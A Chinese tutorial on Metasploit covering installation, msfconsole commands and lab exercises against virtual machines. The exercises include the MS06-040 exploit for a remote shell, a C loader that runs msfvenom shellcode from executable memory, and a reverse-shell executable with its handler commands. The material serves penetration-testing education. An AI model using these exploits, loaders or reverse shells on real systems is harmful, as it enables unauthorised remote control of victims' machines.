MetaSploit 开发 Exploit
1. 安装MetaSploit
1.1 下载
metasploit-framework 官网下载:Directory Tree (metasploit.com)
下载最新安装包即可:如下图

1.2 安装
双击下载的metasploitframework-latest.msi,一直点 next,最后选择安装目录即可
1.3 环境变量
- 我的电脑 -- 属性 --高级系统设置 -- 属性 -- 环境变量
- 选择“Path",再点击“编辑”按钮
- 点击”新建“按钮,把此软件的安装目录”D:\metasploit-framework\bin“放进去,再点击”确定“ 即按钮可
- 再继续在电脑“开始”菜单,“运行”中输入命令“cmd”,再输入命令“msfconsole”即可正常运行

2. MSF体系结构
2.1 总体结构图

2.2 Metasploit文件介绍
- data:Metasploit使用的可编辑文件
- documentation:为框架提供文档
- external:源代码和第三方库
- lib:框架代码库的'肉'
- modules:实际的MSF模块
- plugins:可以在运行时加载的插件
- scripts:Meterpreter和其他脚本
- tools:各种有用的命令行工具

2.3 Metasploit库
所在地址:D:\metasploit-framework\embedded\framework\lib

2.3.1 Rex
- 大多数任务的基本库
- 处理套接字,协议,文本转换和其他
- SSL,SMB,HTTP,XOR,Base64,Unicode

2.3.2 Msf
1. Core

2. Base

2.4 Metasploit 模块
所在位置:D:\metasploit-framework\embedded\framework\modules

模块类型说明exploit包涵已公布漏洞的触发信息,如返回地址偏移量等auxiliaryMSF额外的插件程序,如网络欺骗工具、DOS工具、Sniffer 工具等payload就是我们所说的 shellcode。目前包含了可运行于多种操作系统下的各种用途的 shellcodeencoder编码算法nop“准 nop”填充数据生成器。所谓的“准 nop”是指不影响 shellcode 执行的指令。除了最经典的 0x90(nop)之外,如果 EBX 的值不影响 shellcode 执行,那么 0x43(inc ebx)就是 “准 nop”填充数据。
MSF 提供了若干种不同语言版本、不同操作系统 下的“准 nop”填充数据生成器,用于组织缓冲区3. Metasploit 基础命令
3.1 启动Metasploit
msfconsole
帮助文档如下:- 用法:msfconsole [选项]
- 通用选项
- -E, --environment ENVIRONMENT 如果已设置,将使用RAIL_ENV环境变量。如果两个选项都不是RAILS_ENV环境变量,则默认为生产。
- 数据库选项
- -M,--migration-path DIRECTORY 指定包含其他数据库迁移的目录
- -n,--no-database 禁用数据库支持
- -y,--yaml PATH 指定一个包含数据库设置的YAML文件
- 框架选项
- -c FILE 加载指定的配置文件
- -v,--version 显示版本
- 模块选项
- --defer-module-loads 延迟模块加载,除非明确询问。
- -m,--module-path DIRECTORY 附加模块路径
- 控制台选项:
- -a,--ask 在退出Metasploit之前询问或接受“exit-y”
- -H,--history-file FILE 将命令历史保存到指定的文件
- -L,--real-readline 使用系统Readline库而不是RbReadline
- -o,--output 将文件输出到指定的文件
- -p,--plugin PLUGIN 在启动时加载插件
- -q,--quiet 不要在启动时打印横幅
- -r,--resource FILE 执行指定的资源文件( - 用于stdin)
- -x,--execute-command COMMAND 执行指定的字符串作为控制台命令(使用;用于multiples)
- -h,--help 显示此消息
复制代码
3.2 如何使用MSF
命令详解参考文档:Metasploit框架 MSFconsole命令 详解 - 付杰博客 (fujieace.com)
在msf命令提示符下输入help或?将显示可用命令的列表以及它们用于的内容的描述
如下为命令的中文帮助文档:- msf > help
- 核心命令
- =============
- ? 帮助菜单
- banner 显示一个很棒的metasploit横幅
- cd 更改当前的工作目
- color 切换颜色。如果通过msfconsole获得的输出将包含颜色,则可以启用或禁用颜色输出:color false
- connect 连接与主机通信。msfconsole内置了一个微型Netcat克隆,它支持SSL,代理服务器,枢纽和文件传输。
- 通过使用IP地址和端口号发出connect命令,您可以像使用Netcat或Telnet一样,从msfconsole连接到远程主机:connect 192.168.1.1 23
- exit 退出控制台
- get 获取特定于上下文的变量的值
- getg 获取全局变量的值
- grep grep另一个命令的输出
- help 帮助菜单
- history 显示命令历史
- irb 进入irb脚本模式
- load 加载一个框架插件
- quit 退出控制台
- route 通过会话路由流量
- save 保存活动的数据存储
- sessions 转储会话列表并显示有关会话的信息
- set 将特定于上下文的变量设置为一个值
- setg 将全局变量设置为一个值
- sleep 在指定的秒数内不做任何事情
- spool 将控制台输出写入文件以及屏幕
- threads 线程查看和操作后台线程
- unload 卸载框架插件
- unset 取消设置一个或多个特定于上下文的变量
- unsetg 取消设置一个或多个全局变量
- version 显示框架和控制台库版本号
- 模块命令
- ===============
- advanced 显示一个或多个模块的高级选项
- back 从当前上下文返回。一旦你完成了一个特定的模块的工作,或者你无意中选择了错误的模块,你可以发出back命令移出当前的上下文
- edit 使用首选编辑器编辑当前模块
- info 显示有关一个或多个模块的信息
- loadpath 路径从路径搜索并加载模块
- options 显示全局选项或一个或多个模块
- popm 将最新的模块从堆栈中弹出并使其处于活动状态
- previous 将之前加载的模块设置为当前模块
- pushm 将活动或模块列表推入模块堆栈
- reload_all 从所有定义的模块路径重新加载所有模块
- search 搜索模块名称和描述
- show 显示给定类型的模块或所有模块
- use 按名称选择模块
-
- 工作命令
- ============
- handler 作为作业启动负载处理程序
- jobs 显示和管理作业
- kill 杀死一个工作
- rename_job 重命名作业
-
- 资源脚本命令
- ========================
- makerc 保存从开始到文件输入的命令
- resource 运行存储在文件中的命令
- 数据库后端命令
- =========================
- db_connect 连接到现有的数据库
- db_disconnect 断开与当前数据库实例的连接
- db_export 导出包含数据库内容的文件
- db_import 导入扫描结果文件(文件类型将被自动检测)
- db_nmap 执行nmap并自动记录输出
- db_rebuild_cache 重建数据库存储的模块高速缓存
- db_status 显示当前的数据库状态
- hosts 列出数据库中的所有主机
- loot 列出数据库中的所有战利品
- notes 列出数据库中的所有笔记
- services 列出数据库中的所有服务
- vulns 列出数据库中的所有漏洞
- workspace 在数据库工作区之间切换
- 凭证后端命令
- ============================
- creds 列出数据库中的所有凭据
复制代码 实际运行中帮助文档为英文:- msf6 > help
- Core Commands
- =============
- Command Description
- ------- -----------
- ? Help menu
- banner Display an awesome metasploit banner
- cd Change the current working directory
- color Toggle color
- connect Communicate with a host
- debug Display information useful for debugging
- exit Exit the console
- features Display the list of not yet released features that can be opted in to
- get Gets the value of a context-specific variable
- getg Gets the value of a global variable
- grep Grep the output of another command
- help Help menu
- history Show command history
- load Load a framework plugin
- quit Exit the console
- repeat Repeat a list of commands
- route Route traffic through a session
- save Saves the active datastores
- sessions Dump session listings and display information about sessions
- set Sets a context-specific variable to a value
- setg Sets a global variable to a value
- sleep Do nothing for the specified number of seconds
- spool Write console output into a file as well the screen
- threads View and manipulate background threads
- tips Show a list of useful productivity tips
- unload Unload a framework plugin
- unset Unsets one or more context-specific variables
- unsetg Unsets one or more global variables
- version Show the framework and console library version numbers
- Module Commands
- ===============
- Command Description
- ------- -----------
- advanced Displays advanced options for one or more modules
- back Move back from the current context
- clearm Clear the module stack
- favorite Add module(s) to the list of favorite modules
- info Displays information about one or more modules
- listm List the module stack
- loadpath Searches for and loads modules from a path
- options Displays global options or for one or more modules
- popm Pops the latest module off the stack and makes it active
- previous Sets the previously loaded module as the current module
- pushm Pushes the active or list of modules onto the module stack
- reload_all Reloads all modules from all defined module paths
- search Searches module names and descriptions
- show Displays modules of a given type, or all modules
- use Interact with a module by name or search term/index
- Job Commands
- ============
- Command Description
- ------- -----------
- handler Start a payload handler as job
- jobs Displays and manages jobs
- kill Kill a job
- rename_job Rename a job
- Resource Script Commands
- ========================
- Command Description
- ------- -----------
- makerc Save commands entered since start to a file
- resource Run the commands stored in a file
- Database Backend Commands
- =========================
- Command Description
- ------- -----------
- analyze Analyze database information about a specific address or address range
- db_connect Connect to an existing data service
- db_disconnect Disconnect from the current data service
- db_export Export a file containing the contents of the database
- db_import Import a scan result file (filetype will be auto-detected)
- db_nmap Executes nmap and records the output automatically
- db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
- db_remove Remove the saved data service entry
- db_save Save the current data service connection as the default to reconnect on startup
- db_status Show the current data service status
- hosts List all hosts in the database
- loot List all loot in the database
- notes List all notes in the database
- services List all services in the database
- vulns List all vulnerabilities in the database
- workspace Switch between database workspaces
- Credentials Backend Commands
- ============================
- Command Description
- ------- -----------
- creds List all credentials in the database
- Developer Commands
- ==================
- Command Description
- ------- -----------
- edit Edit the current module or a file with the preferred editor
- irb Open an interactive Ruby shell in the current context
- log Display framework.log paged to the end if possible
- pry Open the Pry debugger on the current module or Framework
- reload_lib Reload Ruby library files from specified paths
- time Time how long it takes to run a particular command
- msfconsole
- ==========
- `msfconsole` is the primary interface to Metasploit Framework. There is quite a
- lot that needs go here, please be patient and keep an eye on this space!
- Building ranges and lists
- -------------------------
- Many commands and options that take a list of things can use ranges to avoid
- having to manually list each desired thing. All ranges are inclusive.
- ### Ranges of IDs
- Commands that take a list of IDs can use ranges to help. Individual IDs must be
- separated by a `,` (no space allowed) and ranges can be expressed with either
- `-` or `..`.
- ### Ranges of IPs
- There are several ways to specify ranges of IP addresses that can be mixed
- together. The first way is a list of IPs separated by just a ` ` (ASCII space),
- with an optional `,`. The next way is two complete IP addresses in the form of
- `BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
- specifications may also be used, however the whole address must be given to
- Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
- Additionally, a netmask can be used in conjunction with a domain name to
- dynamically resolve which block to target. All these methods work for both IPv4
- and IPv6 addresses. IPv4 addresses can also be specified with special octet
- ranges from the [NMAP target
- specification](https://nmap.org/book/man-target-specification.html)
- ### Examples
- Terminate the first sessions:
- sessions -k 1
- Stop some extra running jobs:
- jobs -k 2-6,7,8,11..15
- Check a set of IP addresses:
- check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
- Target a set of IPv6 hosts:
- set RHOSTS fe80::3990:0000/110, ::1-::f0f0
- Target a block from a resolved domain name:
- set RHOSTS www.example.test/24
复制代码 3.3 Tab完成(标签完成/选项卡完成)
msfconsole被设计为可以快速使用,并且有助于实现此目标的功能之一是制表符完成。
有了各种可用的模块,可能很难记住您希望使用的特定模块的确切名称和路径。
与大多数其他shell一样,输入你知道的内容并点击'Tab'将会给你一个你可用的选项列表,或者只有一个选项时自动完成字符串。
选项卡完成取决于ruby readline扩展,并且控制台中的几乎每个命令都支持选项卡完成。
举例:运行以下命令再敲Tab键,会弹出以下图片列出的选项以供选择,然后再输入,再敲Tab键会自动补齐- msf > use exploit/windows/smb/ms
复制代码
4. Metasploit实际应用
4.1 入侵 Windows 系统(CVE-2006-3439)
4.1.1 漏洞简介
Windows系统的动态链接库文件netapi32.dll中第317个导出函数NetpwPathCanon- icalize() 对于字符串参数的处理存在典型的栈溢出。更加不幸的是,这个函数可以通过 RPC 的方式被 远程调用,因此,成功利用这个漏洞可以远程控制目标主机。
4.1.2 实验环境
环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可目标主机操作系统Windows 2000 SP0~SP4(此次实验用的SP4)Windows XP SP1 中的漏洞也可以获得远程控制权, 但 SP2 上只能达到 DOS 的效果目标PC虚拟机VMware Workstation版本号:15.5 PRO 注意:虚拟机或实体计算机均可用于攻击测试补丁版本未打过 KB921883 补丁测试平台MSF版本号:6.18网络环境攻击主机与目标主机互相可达确保防火墙等不会影响 TCP 链接的正常建立4.1.3 console界面的漏洞测试
1. 用到的相关命令
- show exploits :显示 MetaSploit 目前所能够测试的所有漏洞及相关描述。
- use windows/smb/ms06_040_netapi :选择 MS06-040 进行测试。
- info :显示当前所选漏洞的描述信息。
- show targets :显示当前所选漏洞能够影响的操作系统。
- set target 0 :设置 target 为 0,即自动识别 Windows 2000 和 Windows XP 系统。
- show payloads :显示可适用于当前所选漏洞的 shellcode。
- set payload windows/adduser :选用 adduser 为 shellcode。
- show options :显示当前所选漏洞和 shellcode 需要配置的选项。
- set RHOST 192.168.88.137 :按照 show options 的提示设置目标主机地址
- set PASS 123456 :按照 show options 的提示设置账户密码
- set USER failwest :按照 show options 的提示设置用户名
- exploit :进行攻击测试
2. 实验步骤
- 通过虚拟机打开 Windows 2000 SP4,通过cmd打开命令提示符,输入 ipconfig 命令查看IP地址:192.168.137.132
注意:虚拟机需共享本机的网络,即位于NAT模式下,虚拟机才能和本机互联

- 通过 cmd 打开命令提示符,输入 msfconsole 启动 MSF

- 输入 search ms06_040 命令或 show exploits 查找 MS06_040 漏洞(本次实验实验前者)

- 输入 use exploit/windows/smb/ms06_040_netapi 命令设置使用的漏洞

- 输入 show payloads 命令查找符合要求的 payload,这里使用序号为2的

- 输入 set payload payload/generic/shell_bind_tcp 命令设置 payload 的路径

- 输入 set RHOSTS 192.168.137.132 命令设置目标主机

- 输入 run 或者 exploit 运行,此时可以控制目标主机的命令行提示符

- 在目标主机的命令行提示符中输入 ipconfig 命令,即可得到目标主机的 IP 地址

- 在目标主机的命令行提示符中输入 dir 命令,即可显示目标主机的文件目录情况

4.2 利用 MSF 制作 shellcode
4.2.1 Msfvenom
1. 简介
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中,用于生成 shellcode
2. 参数介绍
- -l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-
- -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-
- -f, --format < format> 指定输出格式
-
- -e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-
- -a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-
- -o, --out < path> 指定创建好的payload的存放位置
-
- -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
-
- -n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-
- -s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
-
- -i, --iterations < count> 指定payload的编码次数
-
- -c, --add-code < path> 指定一个附加的win32 shellcode文件
-
- -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-
- -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-
- -v, --var-name < value> 指定一个自定义的变量,以确定输出格式
-
- -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-
- -h,--help 查看帮助选项
-
- --platform < platform> 指定payload的目标平台
复制代码 4.2.2 生成普通的 shellcode
实验环境
环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可测试主机操作系统Windows XP SP3可以运行 MessageBox shellcode的操作系统均可以(实际上Windows 10也能完成测试)目标PC虚拟机VMware Workstation版本号:15.5 PRO 注意:虚拟机或实体计算机均可用于攻击测试测试平台MSF版本号:6.18shellcode loader程序
- #include <windows.h>
- #include <iostream>
- #include <tchar.h>
- using namespace std;
- typedef void(*LPFN_FUNC_1)();
- VOID Sub_1();
- VOID Sub_2();
- void main()
- {
- //Sub_1();
- Sub_2();
- }
- VOID Sub_1()
- {
- char ShellCode[40] = { 0 };
- ShellCode[0] = 0x8B;
- ShellCode[1] = 0xFF;
- ShellCode[2] = 0x55;
- ShellCode[3] = 0x8B;
- ShellCode[4] = 0xEC;
- ShellCode[5] = 0xFF;
- ShellCode[6] = 0x75;
- ShellCode[7] = 0x14;
- ShellCode[8] = 0xFF;
- ShellCode[9] = 0x75;
- ShellCode[10] = 0x10;
- ShellCode[11] = 0xFF;
- ShellCode[12] = 0x75;
- ShellCode[13] = 0x0C;
- ShellCode[14] = 0xFF;
- ShellCode[15] = 0x75;
- ShellCode[16] = 0x08;
- ShellCode[17] = 0x58;
- ShellCode[18] = 0xBB;
- ShellCode[19] = 0x49;
- ShellCode[20] = 0x89;
- ShellCode[21] = 0xd8;
- ShellCode[22] = 0x48;
- ShellCode[23] = 0x31;
- ShellCode[24] = 0xd2;
- ShellCode[25] = 0x48;
- ShellCode[26] = 0x31;
- ShellCode[27] = 0xd1;
- ShellCode[28] = 0x48;
- ShellCode[29] = 0x8b;
- ShellCode[30] = 0x58;
- ShellCode[31] = 0xCC;
- ShellCode[32] = 0xff;
- ShellCode[33] = 0xd3;
- ShellCode[34] = 0x48;
- ShellCode[35] = 0x83;
- ShellCode[36] = 0xc4;
- ShellCode[37] = 0x20;
- ShellCode[38] = 0x5b;
- ShellCode[39] = 0xc3;
- VOID* VirtualAddress = (VOID*)VirtualAlloc(NULL, sizeof(ShellCode),
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (VirtualAddress==NULL)
- {
- return;
- }
- memcpy(VirtualAddress, ShellCode, sizeof(ShellCode));
- ((LPFN_FUNC_1)VirtualAddress)();
- VirtualFree(VirtualAddress, sizeof(ShellCode), MEM_RELEASE);
- VirtualAddress = NULL;
- }
- VOID Sub_2()
- {
- //Stack
- unsigned char buf[] =
- "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
- "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
- "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
- "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
- "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
- "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
- "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
- "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
- "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
- "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
- "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
- "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
- "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
- "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
- "\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
- "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89"
- "\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f"
- "\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9"
- "\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0"
- "\x31\xc0\x50\xff\x55\x08";
- VOID* VirtualAddress = (VOID*)VirtualAlloc(NULL, sizeof(buf),
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (VirtualAddress == NULL)
- {
- return;
- }
- memcpy(VirtualAddress, buf, sizeof(buf));
- ((LPFN_FUNC_1)VirtualAddress)();
- VirtualFree(VirtualAddress, sizeof(buf), MEM_RELEASE);
- VirtualAddress = NULL;
- }
复制代码 实验步骤
1)生成 shellcode 放入 shellcode loader 中测试
- 输入 msfconsole 启动 MSF

- 输入 show payloads 显示所有的payloads

- 找到需要的 payload

- 打开一个命令行提示符,输入 msfvenom -p windows/messagebox --list-options 可以查看该 payload 所支持的参数

- 输入 msfvenom -a x86 --platform windows -p windows/messagebox -f C 命令,即可生成 c 语言版的shellcode

- 将生成的 shellcode 放入 shellcode loader 程序中,编译运行,最后即可弹出 messagebox

在 windows10中也测试成功:

- 输入 msfvenom -a x86 --platform windows -p windows/messagebox TEXT="hello, wzy" -f C 命令将 messagebox 弹窗消息换为 “hello, wzy”

- 将生成的 shellcode 放入 shellcode loader 中测试,测试成功
Windows 10也测试成功:

2)生成可直接运行的程序
- 输入 msfvenom -a x86 --platform windows -p windows/messagebox -f exe > test.exe 命令,即可生成一个可弹出 messagebox 的exe程序

- 将该程序拖入 Windows XP SP3 中,点击运行,运行成功

- 输入 msfvenom -a x86 --platform windows -p windows/messagebox TEXT="hello, wzy" -f exe > wzy.exe 命令

- 测试成功

4.2.3 利用 shellcode 控制靶机
实验环境
环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可目标主机操作系统Windows XP SP3简体中文版目标PC虚拟机VMware Workstation版本号:15.5 PRO 注意:虚拟机或实体计算机均可用于攻击测试测试平台MSF版本号:6.18实验步骤
- 输入 msfconsole 启动 MSF

- 输入 show payloads 显示所有的payloads

- 找到需要的 payload

- 打开一个命令行提示符,输入 msfvenom -p windows/shell_reverse_tcp --list-options 可以查看该 payload 所支持的参数

- 在靶机中打开命令行提示符,输入 ipconfig 命令,查看靶机的 IP 地址

- 在本机中打开命令行提示符,输入 ipconfig 查看本机的IP地址

- 在本机的命令行提示符中输入 msfvenom -p windows/shell_reverse_tcp LHOST=10.18.223.52 LPROT=4444 -b '\x00\x0a\x40' -f exe > tcp.exe 命令生成可执行程序

- 将该可执行程序拖入靶机中
- 在本机中打开命令行提示符,在msfconsole中输入如下命令:
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 192.168.137.131
set LPORT 4444
exploit

- 在靶机中点击拖入的可执行程序

- 此时本机程序显示如下信息:此时已成功控制靶机的命令行

- 输入 cd c:\ 可进入靶机的 C 盘,输入 dir 命令可查看靶机的目录,输入 ipconfig 可查看靶机的 IP 地址

4.3 用 MSF 扫描“跳板”
4.3.1 msfpescan
msfpescan 是这样一款在 PE 文件中扫描跳转指令并直接转化为 VA 的工具,它使用起来更加简单灵活

输入 msfpescan -h 即可查看帮助信息:

4.3.2 使用 msfpescan 扫描PE文件中的跳板指令
- 输入 msfconsole 启动MSF

- 输入 msfpescan -f -j ecx c:/windows/system32/kernel32.dll 可查看本机中 PE 文件 kernel32.dll 中类似 jump ecx 的指令地址,并转化为 VA 显示

参考
文档:
Metasploit 教程(渗透测试框架) - 付杰博客 (fujieace.com)
(75条消息) Msfvenom介绍及利用_xzhome的博客-CSDN博客_msfvenom
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |